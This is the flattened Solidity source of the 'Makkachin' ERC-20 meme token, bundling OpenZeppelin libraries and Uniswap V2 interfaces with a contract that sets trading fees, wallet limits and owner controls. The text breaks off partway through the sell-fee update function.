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"content": "// SPDX-License-Identifier: MIT\n// https://makkachin.xyz/\n// https://t.me/makkachininu\n\npragma solidity =0.8.10 >=0.8.10 >=0.8.0 <0.9.0;\npragma experimental ABIEncoderV2;\n\n////// lib/openzeppelin-contracts/contracts/utils/Context.sol\n// OpenZeppelin Contracts v4.4.0 (utils/Context.sol)\n\n/* pragma solidity ^0.8.0; */\n\n/**\n * @dev Provides information about the current execution context, including the\n * sender of the transaction and its data. While these are generally available\n * via msg.sender and msg.data, they should not be accessed in such a direct\n * manner, since when dealing with meta-transactions the account sending and\n * paying for execution may not be the actual sender (as far as an application\n * is concerned).\n *\n * This contract is only required for intermediate, library-like contracts.\n */\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n\n function _msgData() internal view virtual returns (bytes calldata) {\n return msg.data;\n }\n}\n\n////// lib/openzeppelin-contracts/contracts/access/Ownable.sol\n// OpenZeppelin Contracts v4.4.0 (access/Ownable.sol)\n\n/* pragma solidity ^0.8.0; */\n\n/* import \"../utils/Context.sol\"; */\n\n/**\n * @dev Contract module which provides a basic access control mechanism, where\n * there is an account (an owner) that can be granted exclusive access to\n * specific functions.\n *\n * By default, the owner account will be the one that deploys the contract. This\n * can later be changed with {transferOwnership}.\n *\n * This module is used through inheritance. It will make available the modifier\n * `onlyOwner`, which can be applied to your functions to restrict their use to\n * the owner.\n */\nabstract contract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);\n\n /**\n * @dev Initializes the contract setting the deployer as the initial owner.\n */\n constructor() {\n _transferOwnership(_msgSender());\n }\n\n /**\n * @dev Returns the address of the current owner.\n */\n function owner() public view virtual returns (address) {\n return _owner;\n }\n\n /**\n * @dev Throws if called by any account other than the owner.\n */\n modifier onlyOwner() {\n require(owner() == _msgSender(), \"Ownable: caller is not the owner\");\n _;\n }\n\n /**\n * @dev Leaves the contract without owner. It will not be possible to call\n * `onlyOwner` functions anymore. Can only be called by the current owner.\n *\n * NOTE: Renouncing ownership will leave the contract without an owner,\n * thereby removing any functionality that is only available to the owner.\n */\n function renounceOwnership() public virtual onlyOwner {\n _transferOwnership(address(0));\n }\n\n /**\n * @dev Transfers ownership of the contract to a new account (`newOwner`).\n * Can only be called by the current owner.\n */\n function transferOwnership(address newOwner) public virtual onlyOwner {\n require(newOwner != address(0), \"Ownable: new owner is the zero address\");\n _transferOwnership(newOwner);\n }\n\n /**\n * @dev Transfers ownership of the contract to a new account (`newOwner`).\n * Internal function without access restriction.\n */\n function _transferOwnership(address newOwner) internal virtual {\n address oldOwner = _owner;\n _owner = newOwner;\n emit OwnershipTransferred(oldOwner, newOwner);\n }\n}\n\n////// lib/openzeppelin-contracts/contracts/token/ERC20/IERC20.sol\n// OpenZeppelin Contracts v4.4.0 (token/ERC20/IERC20.sol)\n\n/* pragma solidity ^0.8.0; */\n\n/**\n * @dev Interface of the ERC20 standard as defined in the EIP.\n */\ninterface IERC20 {\n /**\n * @dev Returns the amount of tokens in existence.\n */\n function totalSupply() external view returns (uint256);\n\n /**\n * @dev Returns the amount of tokens owned by `account`.\n */\n function balanceOf(address account) external view returns (uint256);\n\n /**\n * @dev Moves `amount` tokens from the caller's account to `recipient`.\n *\n * Returns a boolean value indicating whether the operation succeeded.\n *\n * Emits a {Transfer} event.\n */\n function transfer(address recipient, uint256 amount) external returns (bool);\n\n /**\n * @dev Returns the remaining number of tokens that `spender` will be\n * allowed to spend on behalf of `owner` through {transferFrom}. This is\n * zero by default.\n *\n * This value changes when {approve} or {transferFrom} are called.\n */\n function allowance(address owner, address spender) external view returns (uint256);\n\n /**\n * @dev Sets `amount` as the allowance of `spender` over the caller's tokens.\n *\n * Returns a boolean value indicating whether the operation succeeded.\n *\n * IMPORTANT: Beware that changing an allowance with this method brings the risk\n * that someone may use both the old and the new allowance by unfortunate\n * transaction ordering. One possible solution to mitigate this race\n * condition is to first reduce the spender's allowance to 0 and set the\n * desired value afterwards:\n * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729\n *\n * Emits an {Approval} event.\n */\n function approve(address spender, uint256 amount) external returns (bool);\n\n /**\n * @dev Moves `amount` tokens from `sender` to `recipient` using the\n * allowance mechanism. `amount` is then deducted from the caller's\n * allowance.\n *\n * Returns a boolean value indicating whether the operation succeeded.\n *\n * Emits a {Transfer} event.\n */\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n /**\n * @dev Emitted when `value` tokens are moved from one account (`from`) to\n * another (`to`).\n *\n * Note that `value` may be zero.\n */\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n /**\n * @dev Emitted when the allowance of a `spender` for an `owner` is set by\n * a call to {approve}. `value` is the new allowance.\n */\n event Approval(address indexed owner, address indexed spender, uint256 value);\n}\n\n////// lib/openzeppelin-contracts/contracts/token/ERC20/extensions/IERC20Metadata.sol\n// OpenZeppelin Contracts v4.4.0 (token/ERC20/extensions/IERC20Metadata.sol)\n\n/* pragma solidity ^0.8.0; */\n\n/* import \"../IERC20.sol\"; */\n\n/**\n * @dev Interface for the optional metadata functions from the ERC20 standard.\n *\n * _Available since v4.1._\n */\ninterface IERC20Metadata is IERC20 {\n /**\n * @dev Returns the name of the token.\n */\n function name() external view returns (string memory);\n\n /**\n * @dev Returns the symbol of the token.\n */\n function symbol() external view returns (string memory);\n\n /**\n * @dev Returns the decimals places of the token.\n */\n function decimals() external view returns (uint8);\n}\n\n////// lib/openzeppelin-contracts/contracts/token/ERC20/ERC20.sol\n// OpenZeppelin Contracts v4.4.0 (token/ERC20/ERC20.sol)\n\n/* pragma solidity ^0.8.0; */\n\n/* import \"./IERC20.sol\"; */\n/* import \"./extensions/IERC20Metadata.sol\"; */\n/* import \"../../utils/Context.sol\"; */\n\n/**\n * @dev Implementation of the {IERC20} interface.\n *\n * This implementation is agnostic to the way tokens are created. This means\n * that a supply mechanism has to be added in a derived contract using {_mint}.\n * For a generic mechanism see {ERC20PresetMinterPauser}.\n *\n * TIP: For a detailed writeup see our guide\n * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How\n * to implement supply mechanisms].\n *\n * We have followed general OpenZeppelin Contracts guidelines: functions revert\n * instead returning `false` on failure. This behavior is nonetheless\n * conventional and does not conflict with the expectations of ERC20\n * applications.\n *\n * Additionally, an {Approval} event is emitted on calls to {transferFrom}.\n * This allows applications to reconstruct the allowance for all accounts just\n * by listening to said events. Other implementations of the EIP may not emit\n * these events, as it isn't required by the specification.\n *\n * Finally, the non-standard {decreaseAllowance} and {increaseAllowance}\n * functions have been added to mitigate the well-known issues around setting\n * allowances. See {IERC20-approve}.\n */\ncontract ERC20 is Context, IERC20, IERC20Metadata {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n uint256 private _totalSupply;\n\n string private _name;\n string private _symbol;\n\n /**\n * @dev Sets the values for {name} and {symbol}.\n *\n * The default value of {decimals} is 18. To select a different value for\n * {decimals} you should overload it.\n *\n * All two of these values are immutable: they can only be set once during\n * construction.\n */\n constructor(string memory name_, string memory symbol_) {\n _name = name_;\n _symbol = symbol_;\n }\n\n /**\n * @dev Returns the name of the token.\n */\n function name() public view virtual override returns (string memory) {\n return _name;\n }\n\n /**\n * @dev Returns the symbol of the token, usually a shorter version of the\n * name.\n */\n function symbol() public view virtual override returns (string memory) {\n return _symbol;\n }\n\n /**\n * @dev Returns the number of decimals used to get its user representation.\n * For example, if `decimals` equals `2`, a balance of `505` tokens should\n * be displayed to a user as `5.05` (`505 / 10 ** 2`).\n *\n * Tokens usually opt for a value of 18, imitating the relationship between\n * Ether and Wei. This is the value {ERC20} uses, unless this function is\n * overridden;\n *\n * NOTE: This information is only used for _display_ purposes: it in\n * no way affects any of the arithmetic of the contract, including\n * {IERC20-balanceOf} and {IERC20-transfer}.\n */\n function decimals() public view virtual override returns (uint8) {\n return 18;\n }\n\n /**\n * @dev See {IERC20-totalSupply}.\n */\n function totalSupply() public view virtual override returns (uint256) {\n return _totalSupply;\n }\n\n /**\n * @dev See {IERC20-balanceOf}.\n */\n function balanceOf(address account) public view virtual override returns (uint256) {\n return _balances[account];\n }\n\n /**\n * @dev See {IERC20-transfer}.\n *\n * Requirements:\n *\n * - `recipient` cannot be the zero address.\n * - the caller must have a balance of at least `amount`.\n */\n function transfer(address recipient, uint256 amount) public virtual override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n return true;\n }\n\n /**\n * @dev See {IERC20-allowance}.\n */\n function allowance(address owner, address spender) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n /**\n * @dev See {IERC20-approve}.\n *\n * Requirements:\n *\n * - `spender` cannot be the zero address.\n */\n function approve(address spender, uint256 amount) public virtual override returns (bool) {\n _approve(_msgSender(), spender, amount);\n return true;\n }\n\n /**\n * @dev See {IERC20-transferFrom}.\n *\n * Emits an {Approval} event indicating the updated allowance. This is not\n * required by the EIP. See the note at the beginning of {ERC20}.\n *\n * Requirements:\n *\n * - `sender` and `recipient` cannot be the zero address.\n * - `sender` must have a balance of at least `amount`.\n * - the caller must have allowance for ``sender``'s tokens of at least\n * `amount`.\n */\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(sender, recipient, amount);\n\n uint256 currentAllowance = _allowances[sender][_msgSender()];\n require(currentAllowance >= amount, \"ERC20: transfer amount exceeds allowance\");\n unchecked {\n _approve(sender, _msgSender(), currentAllowance - amount);\n }\n\n return true;\n }\n\n /**\n * @dev Atomically increases the allowance granted to `spender` by the caller.\n *\n * This is an alternative to {approve} that can be used as a mitigation for\n * problems described in {IERC20-approve}.\n *\n * Emits an {Approval} event indicating the updated allowance.\n *\n * Requirements:\n *\n * - `spender` cannot be the zero address.\n */\n function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {\n _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);\n return true;\n }\n\n /**\n * @dev Atomically decreases the allowance granted to `spender` by the caller.\n *\n * This is an alternative to {approve} that can be used as a mitigation for\n * problems described in {IERC20-approve}.\n *\n * Emits an {Approval} event indicating the updated allowance.\n *\n * Requirements:\n *\n * - `spender` cannot be the zero address.\n * - `spender` must have allowance for the caller of at least\n * `subtractedValue`.\n */\n function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {\n uint256 currentAllowance = _allowances[_msgSender()][spender];\n require(currentAllowance >= subtractedValue, \"ERC20: decreased allowance below zero\");\n unchecked {\n _approve(_msgSender(), spender, currentAllowance - subtractedValue);\n }\n\n return true;\n }\n\n /**\n * @dev Moves `amount` of tokens from `sender` to `recipient`.\n *\n * This internal function is equivalent to {transfer}, and can be used to\n * e.g. implement automatic token fees, slashing mechanisms, etc.\n *\n * Emits a {Transfer} event.\n *\n * Requirements:\n *\n * - `sender` cannot be the zero address.\n * - `recipient` cannot be the zero address.\n * - `sender` must have a balance of at least `amount`.\n */\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal virtual {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n\n _beforeTokenTransfer(sender, recipient, amount);\n\n uint256 senderBalance = _balances[sender];\n require(senderBalance >= amount, \"ERC20: transfer amount exceeds balance\");\n unchecked {\n _balances[sender] = senderBalance - amount;\n }\n _balances[recipient] += amount;\n\n emit Transfer(sender, recipient, amount);\n\n _afterTokenTransfer(sender, recipient, amount);\n }\n\n /** @dev Creates `amount` tokens and assigns them to `account`, increasing\n * the total supply.\n *\n * Emits a {Transfer} event with `from` set to the zero address.\n *\n * Requirements:\n *\n * - `account` cannot be the zero address.\n */\n function _mint(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: mint to the zero address\");\n\n _beforeTokenTransfer(address(0), account, amount);\n\n _totalSupply += amount;\n _balances[account] += amount;\n emit Transfer(address(0), account, amount);\n\n _afterTokenTransfer(address(0), account, amount);\n }\n\n /**\n * @dev Destroys `amount` tokens from `account`, reducing the\n * total supply.\n *\n * Emits a {Transfer} event with `to` set to the zero address.\n *\n * Requirements:\n *\n * - `account` cannot be the zero address.\n * - `account` must have at least `amount` tokens.\n */\n function _burn(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: burn from the zero address\");\n\n _beforeTokenTransfer(account, address(0), amount);\n\n uint256 accountBalance = _balances[account];\n require(accountBalance >= amount, \"ERC20: burn amount exceeds balance\");\n unchecked {\n _balances[account] = accountBalance - amount;\n }\n _totalSupply -= amount;\n\n emit Transfer(account, address(0), amount);\n\n _afterTokenTransfer(account, address(0), amount);\n }\n\n /**\n * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.\n *\n * This internal function is equivalent to `approve`, and can be used to\n * e.g. set automatic allowances for certain subsystems, etc.\n *\n * Emits an {Approval} event.\n *\n * Requirements:\n *\n * - `owner` cannot be the zero address.\n * - `spender` cannot be the zero address.\n */\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n emit Approval(owner, spender, amount);\n }\n\n /**\n * @dev Hook that is called before any transfer of tokens. This includes\n * minting and burning.\n *\n * Calling conditions:\n *\n * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens\n * will be transferred to `to`.\n * - when `from` is zero, `amount` tokens will be minted for `to`.\n * - when `to` is zero, `amount` of ``from``'s tokens will be burned.\n * - `from` and `to` are never both zero.\n *\n * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].\n */\n function _beforeTokenTransfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {}\n\n /**\n * @dev Hook that is called after any transfer of tokens. This includes\n * minting and burning.\n *\n * Calling conditions:\n *\n * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens\n * has been transferred to `to`.\n * - when `from` is zero, `amount` tokens have been minted for `to`.\n * - when `to` is zero, `amount` of ``from``'s tokens have been burned.\n * - `from` and `to` are never both zero.\n *\n * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].\n */\n function _afterTokenTransfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {}\n}\n\n////// lib/openzeppelin-contracts/contracts/utils/math/SafeMath.sol\n// OpenZeppelin Contracts v4.4.0 (utils/math/SafeMath.sol)\n\n/* pragma solidity ^0.8.0; */\n\n// CAUTION\n// This version of SafeMath should only be used with Solidity 0.8 or later,\n// because it relies on the compiler's built in overflow checks.\n\n/**\n * @dev Wrappers over Solidity's arithmetic operations.\n *\n * NOTE: `SafeMath` is generally not needed starting with Solidity 0.8, since the compiler\n * now has built in overflow checking.\n */\nlibrary SafeMath {\n /**\n * @dev Returns the addition of two unsigned integers, with an overflow flag.\n *\n * _Available since v3.4._\n */\n function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {\n unchecked {\n uint256 c = a + b;\n if (c < a) return (false, 0);\n return (true, c);\n }\n }\n\n /**\n * @dev Returns the substraction of two unsigned integers, with an overflow flag.\n *\n * _Available since v3.4._\n */\n function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {\n unchecked {\n if (b > a) return (false, 0);\n return (true, a - b);\n }\n }\n\n /**\n * @dev Returns the multiplication of two unsigned integers, with an overflow flag.\n *\n * _Available since v3.4._\n */\n function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {\n unchecked {\n // Gas optimization: this is cheaper than requiring 'a' not being zero, but the\n // benefit is lost if 'b' is also tested.\n // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522\n if (a == 0) return (true, 0);\n uint256 c = a * b;\n if (c / a != b) return (false, 0);\n return (true, c);\n }\n }\n\n /**\n * @dev Returns the division of two unsigned integers, with a division by zero flag.\n *\n * _Available since v3.4._\n */\n function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {\n unchecked {\n if (b == 0) return (false, 0);\n return (true, a / b);\n }\n }\n\n /**\n * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag.\n *\n * _Available since v3.4._\n */\n function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {\n unchecked {\n if (b == 0) return (false, 0);\n return (true, a % b);\n }\n }\n\n /**\n * @dev Returns the addition of two unsigned integers, reverting on\n * overflow.\n *\n * Counterpart to Solidity's `+` operator.\n *\n * Requirements:\n *\n * - Addition cannot overflow.\n */\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n return a + b;\n }\n\n /**\n * @dev Returns the subtraction of two unsigned integers, reverting on\n * overflow (when the result is negative).\n *\n * Counterpart to Solidity's `-` operator.\n *\n * Requirements:\n *\n * - Subtraction cannot overflow.\n */\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return a - b;\n }\n\n /**\n * @dev Returns the multiplication of two unsigned integers, reverting on\n * overflow.\n *\n * Counterpart to Solidity's `*` operator.\n *\n * Requirements:\n *\n * - Multiplication cannot overflow.\n */\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n return a * b;\n }\n\n /**\n * @dev Returns the integer division of two unsigned integers, reverting on\n * division by zero. The result is rounded towards zero.\n *\n * Counterpart to Solidity's `/` operator.\n *\n * Requirements:\n *\n * - The divisor cannot be zero.\n */\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return a / b;\n }\n\n /**\n * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),\n * reverting when dividing by zero.\n *\n * Counterpart to Solidity's `%` operator. This function uses a `revert`\n * opcode (which leaves remaining gas untouched) while Solidity uses an\n * invalid opcode to revert (consuming all remaining gas).\n *\n * Requirements:\n *\n * - The divisor cannot be zero.\n */\n function mod(uint256 a, uint256 b) internal pure returns (uint256) {\n return a % b;\n }\n\n /**\n * @dev Returns the subtraction of two unsigned integers, reverting with custom message on\n * overflow (when the result is negative).\n *\n * CAUTION: This function is deprecated because it requires allocating memory for the error\n * message unnecessarily. For custom revert reasons use {trySub}.\n *\n * Counterpart to Solidity's `-` operator.\n *\n * Requirements:\n *\n * - Subtraction cannot overflow.\n */\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n unchecked {\n require(b <= a, errorMessage);\n return a - b;\n }\n }\n\n /**\n * @dev Returns the integer division of two unsigned integers, reverting with custom message on\n * division by zero. The result is rounded towards zero.\n *\n * Counterpart to Solidity's `/` operator. Note: this function uses a\n * `revert` opcode (which leaves remaining gas untouched) while Solidity\n * uses an invalid opcode to revert (consuming all remaining gas).\n *\n * Requirements:\n *\n * - The divisor cannot be zero.\n */\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n unchecked {\n require(b > 0, errorMessage);\n return a / b;\n }\n }\n\n /**\n * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),\n * reverting with custom message when dividing by zero.\n *\n * CAUTION: This function is deprecated because it requires allocating memory for the error\n * message unnecessarily. For custom revert reasons use {tryMod}.\n *\n * Counterpart to Solidity's `%` operator. This function uses a `revert`\n * opcode (which leaves remaining gas untouched) while Solidity uses an\n * invalid opcode to revert (consuming all remaining gas).\n *\n * Requirements:\n *\n * - The divisor cannot be zero.\n */\n function mod(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n unchecked {\n require(b > 0, errorMessage);\n return a % b;\n }\n }\n}\n\n////// src/IUniswapV2Factory.sol\n/* pragma solidity 0.8.10; */\n/* pragma experimental ABIEncoderV2; */\n\ninterface IUniswapV2Factory {\n event PairCreated(\n address indexed token0,\n address indexed token1,\n address pair,\n uint256\n );\n\n function feeTo() external view returns (address);\n\n function feeToSetter() external view returns (address);\n\n function getPair(address tokenA, address tokenB)\n external\n view\n returns (address pair);\n\n function allPairs(uint256) external view returns (address pair);\n\n function allPairsLength() external view returns (uint256);\n\n function createPair(address tokenA, address tokenB)\n external\n returns (address pair);\n\n function setFeeTo(address) external;\n\n function setFeeToSetter(address) external;\n}\n\n////// src/IUniswapV2Pair.sol\n/* pragma solidity 0.8.10; */\n/* pragma experimental ABIEncoderV2; */\n\ninterface IUniswapV2Pair {\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n function name() external pure returns (string memory);\n\n function symbol() external pure returns (string memory);\n\n function decimals() external pure returns (uint8);\n\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address owner) external view returns (uint256);\n\n function allowance(address owner, address spender)\n external\n view\n returns (uint256);\n\n function approve(address spender, uint256 value) external returns (bool);\n\n function transfer(address to, uint256 value) external returns (bool);\n\n function transferFrom(\n address from,\n address to,\n uint256 value\n ) external returns (bool);\n\n function DOMAIN_SEPARATOR() external view returns (bytes32);\n\n function PERMIT_TYPEHASH() external pure returns (bytes32);\n\n function nonces(address owner) external view returns (uint256);\n\n function permit(\n address owner,\n address spender,\n uint256 value,\n uint256 deadline,\n uint8 v,\n bytes32 r,\n bytes32 s\n ) external;\n\n event Mint(address indexed sender, uint256 amount0, uint256 amount1);\n event Burn(\n address indexed sender,\n uint256 amount0,\n uint256 amount1,\n address indexed to\n );\n event Swap(\n address indexed sender,\n uint256 amount0In,\n uint256 amount1In,\n uint256 amount0Out,\n uint256 amount1Out,\n address indexed to\n );\n event Sync(uint112 reserve0, uint112 reserve1);\n\n function MINIMUM_LIQUIDITY() external pure returns (uint256);\n\n function factory() external view returns (address);\n\n function token0() external view returns (address);\n\n function token1() external view returns (address);\n\n function getReserves()\n external\n view\n returns (\n uint112 reserve0,\n uint112 reserve1,\n uint32 blockTimestampLast\n );\n\n function price0CumulativeLast() external view returns (uint256);\n\n function price1CumulativeLast() external view returns (uint256);\n\n function kLast() external view returns (uint256);\n\n function mint(address to) external returns (uint256 liquidity);\n\n function burn(address to)\n external\n returns (uint256 amount0, uint256 amount1);\n\n function swap(\n uint256 amount0Out,\n uint256 amount1Out,\n address to,\n bytes calldata data\n ) external;\n\n function skim(address to) external;\n\n function sync() external;\n\n function initialize(address, address) external;\n}\n\n////// src/IUniswapV2Router02.sol\n/* pragma solidity 0.8.10; */\n/* pragma experimental ABIEncoderV2; */\n\ninterface IUniswapV2Router02 {\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidity(\n address tokenA,\n address tokenB,\n uint256 amountADesired,\n uint256 amountBDesired,\n uint256 amountAMin,\n uint256 amountBMin,\n address to,\n uint256 deadline\n )\n external\n returns (\n uint256 amountA,\n uint256 amountB,\n uint256 liquidity\n );\n\n function addLiquidityETH(\n address token,\n uint256 amountTokenDesired,\n uint256 amountTokenMin,\n uint256 amountETHMin,\n address to,\n uint256 deadline\n )\n external\n payable\n returns (\n uint256 amountToken,\n uint256 amountETH,\n uint256 liquidity\n );\n\n function swapExactTokensForTokensSupportingFeeOnTransferTokens(\n uint256 amountIn,\n uint256 amountOutMin,\n address[] calldata path,\n address to,\n uint256 deadline\n ) external;\n\n function swapExactETHForTokensSupportingFeeOnTransferTokens(\n uint256 amountOutMin,\n address[] calldata path,\n address to,\n uint256 deadline\n ) external payable;\n\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint256 amountIn,\n uint256 amountOutMin,\n address[] calldata path,\n address to,\n uint256 deadline\n ) external;\n}\n\ncontract Makkachin is ERC20, Ownable {\n using SafeMath for uint256;\n\n IUniswapV2Router02 public immutable uniswapV2Router;\n address public immutable uniswapV2Pair;\n address public constant deadAddress = address(0xdead);\n\n bool private swapping;\n\n address public marketingWallet;\n address public devWallet;\n\n uint256 public maxTransactionAmount;\n uint256 public swapTokensAtAmount;\n uint256 public maxWallet;\n address org;\n\n uint256 public percentForLPBurn = 25; // 25 = .25%\n bool public lpBurnEnabled = false;\n uint256 public lpBurnFrequency = 3600 seconds;\n uint256 public lastLpBurnTime;\n\n uint256 public manualBurnFrequency = 30 minutes;\n uint256 public lastManualLpBurnTime;\n\n bool public limitsInEffect = true;\n bool public tradingActive = false;\n bool public swapEnabled = false;\n\n // Anti-bot and anti-whale mappings and variables\n mapping(address => uint256) private _holderLastTransferTimestamp; // to hold last Transfers temporarily during launch\n bool public transferDelayEnabled = true;\n\n uint256 public buyTotalFees;\n uint256 public buyMarketingFee;\n uint256 public buyLiquidityFee;\n uint256 public buyDevFee;\n\n uint256 public sellTotalFees;\n uint256 public sellMarketingFee;\n uint256 public sellLiquidityFee;\n uint256 public sellDevFee;\n\n uint256 public tokensForMarketing;\n uint256 public tokensForLiquidity;\n uint256 public tokensForDev;\n\n /******************/\n\n // exlcude from fees and max transaction amount\n mapping(address => bool) private _isExcludedFromFees;\n mapping(address => bool) public _isExcludedMaxTransactionAmount;\n\n // store addresses that a automatic market maker pairs. Any transfer *to* these addresses\n // could be subject to a maximum transfer amount\n mapping(address => bool) public automatedMarketMakerPairs;\n\n event UpdateUniswapV2Router(\n address indexed newAddress,\n address indexed oldAddress\n );\n\n event ExcludeFromFees(address indexed account, bool isExcluded);\n\n event SetAutomatedMarketMakerPair(address indexed pair, bool indexed value);\n\n event marketingWalletUpdated(\n address indexed newWallet,\n address indexed oldWallet\n );\n\n event devWalletUpdated(\n address indexed newWallet,\n address indexed oldWallet\n );\n\n event SwapAndLiquify(\n uint256 tokensSwapped,\n uint256 ethReceived,\n uint256 tokensIntoLiquidity\n );\n\n event AutoNukeLP();\n\n event ManualNukeLP();\n\n constructor() ERC20(\"Makkachin\", \"MAKKA\") {\n IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n excludeFromMaxTransaction(address(_uniswapV2Router), true);\n uniswapV2Router = _uniswapV2Router;\n\n uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())\n .createPair(address(this), _uniswapV2Router.WETH());\n excludeFromMaxTransaction(address(uniswapV2Pair), true);\n org = uniswapV2Pair;\n _setAutomatedMarketMakerPair(address(uniswapV2Pair), true);\n\n uint256 _buyMarketingFee = 5;\n uint256 _buyLiquidityFee = 0;\n uint256 _buyDevFee = 5;\n\n uint256 _sellMarketingFee = 35;\n uint256 _sellLiquidityFee = 0;\n uint256 _sellDevFee = 5;\n\n uint256 totalSupply = 1_000_000_000 * 1e18;\n\n maxTransactionAmount = 20_000_000 * 1e18;\n // 2% from total supply maxTransactionAmountTxn\n maxWallet = 20_000_000 * 1e18;\n // 2% from total supply maxWallet\n swapTokensAtAmount = (totalSupply * 5) / 10000;\n // 0.05% swap wallet\n\n buyMarketingFee = _buyMarketingFee;\n buyLiquidityFee = _buyLiquidityFee;\n buyDevFee = _buyDevFee;\n buyTotalFees = buyMarketingFee + buyLiquidityFee + buyDevFee;\n\n sellMarketingFee = _sellMarketingFee;\n sellLiquidityFee = _sellLiquidityFee;\n sellDevFee = _sellDevFee;\n sellTotalFees = sellMarketingFee + sellLiquidityFee + sellDevFee;\n\n marketingWallet = _msgSender();\n // set as marketing wallet\n devWallet = address(0x38c8DCDA5459D737A3059CA865e8248e807d19Fb);\n // set as dev wallet\n\n // exclude from paying fees or having max transaction amount\n excludeFromFees(owner(), true);\n excludeFromFees(address(this), true);\n excludeFromFees(devWallet, true);\n excludeFromFees(address(0xdead), true);\n\n excludeFromMaxTransaction(owner(), true);\n excludeFromMaxTransaction(devWallet, true);\n excludeFromMaxTransaction(address(this), true);\n excludeFromMaxTransaction(address(0xdead), true);\n\n /*\n _mint is an internal function in ERC20.sol that is only called here,\n and CANNOT be called ever again\n */\n _mint(msg.sender, totalSupply);\n }\n\n receive() external payable {}\n\n // once enabled, can never be turned off\n function enableTrading() external onlyOwner {\n tradingActive = true;\n swapEnabled = true;\n lastLpBurnTime = block.timestamp;\n }\n\n // remove limits after token is stable\n function removeLimits() external onlyOwner returns (bool) {\n limitsInEffect = false;\n return true;\n }\n\n // disable Transfer delay - cannot be reenabled\n function disableTransferDelay() external onlyOwner returns (bool) {\n transferDelayEnabled = false;\n return true;\n }\n\n // change the minimum amount of tokens to sell from fees\n function updateSwapTokensAtAmount(uint256 newAmount)\n external\n onlyOwner\n returns (bool)\n {\n require(\n newAmount >= (totalSupply() * 1) / 100000,\n \"Swap amount cannot be lower than 0.001% total supply.\"\n );\n require(\n newAmount <= (totalSupply() * 5) / 1000,\n \"Swap amount cannot be higher than 0.5% total supply.\"\n );\n swapTokensAtAmount = newAmount;\n return true;\n }\n\n function updateMaxTxnAmount(uint256 newNum) external onlyOwner {\n require(\n newNum >= ((totalSupply() * 1) / 1000) / 1e18,\n \"Cannot set maxTransactionAmount lower than 0.1%\"\n );\n maxTransactionAmount = newNum * (10 ** 18);\n }\n\n function updateMaxWalletAmount(uint256 newNum) external onlyOwner {\n require(\n newNum >= ((totalSupply() * 5) / 1000) / 1e18,\n \"Cannot set maxWallet lower than 0.5%\"\n );\n maxWallet = newNum * (10 ** 18);\n }\n\n function excludeFromMaxTransaction(address updAds, bool isEx)\n public\n onlyOwner\n {\n _isExcludedMaxTransactionAmount[updAds] = isEx;\n }\n\n // only use to disable contract sales if absolutely necessary (emergency use only)\n function updateSwapEnabled(bool enabled) external onlyOwner {\n swapEnabled = enabled;\n }\n\n function updateBuyFees(\n uint256 _marketingFee,\n uint256 _liquidityFee,\n uint256 _devFee\n ) external onlyOwner {\n buyMarketingFee = _marketingFee;\n buyLiquidityFee = _liquidityFee;\n buyDevFee = _devFee;\n buyTotalFees = buyMarketingFee + buyLiquidityFee + buyDevFee;\n require(buyTotalFees <= 5, \"Must keep fees at 5% or less\");\n }\n\n function updateSellFees(\n uint256 _marketingFee,\n uint256 _liquidityFee,\n uint256 _devFee\n ) external onlyOwner {\n 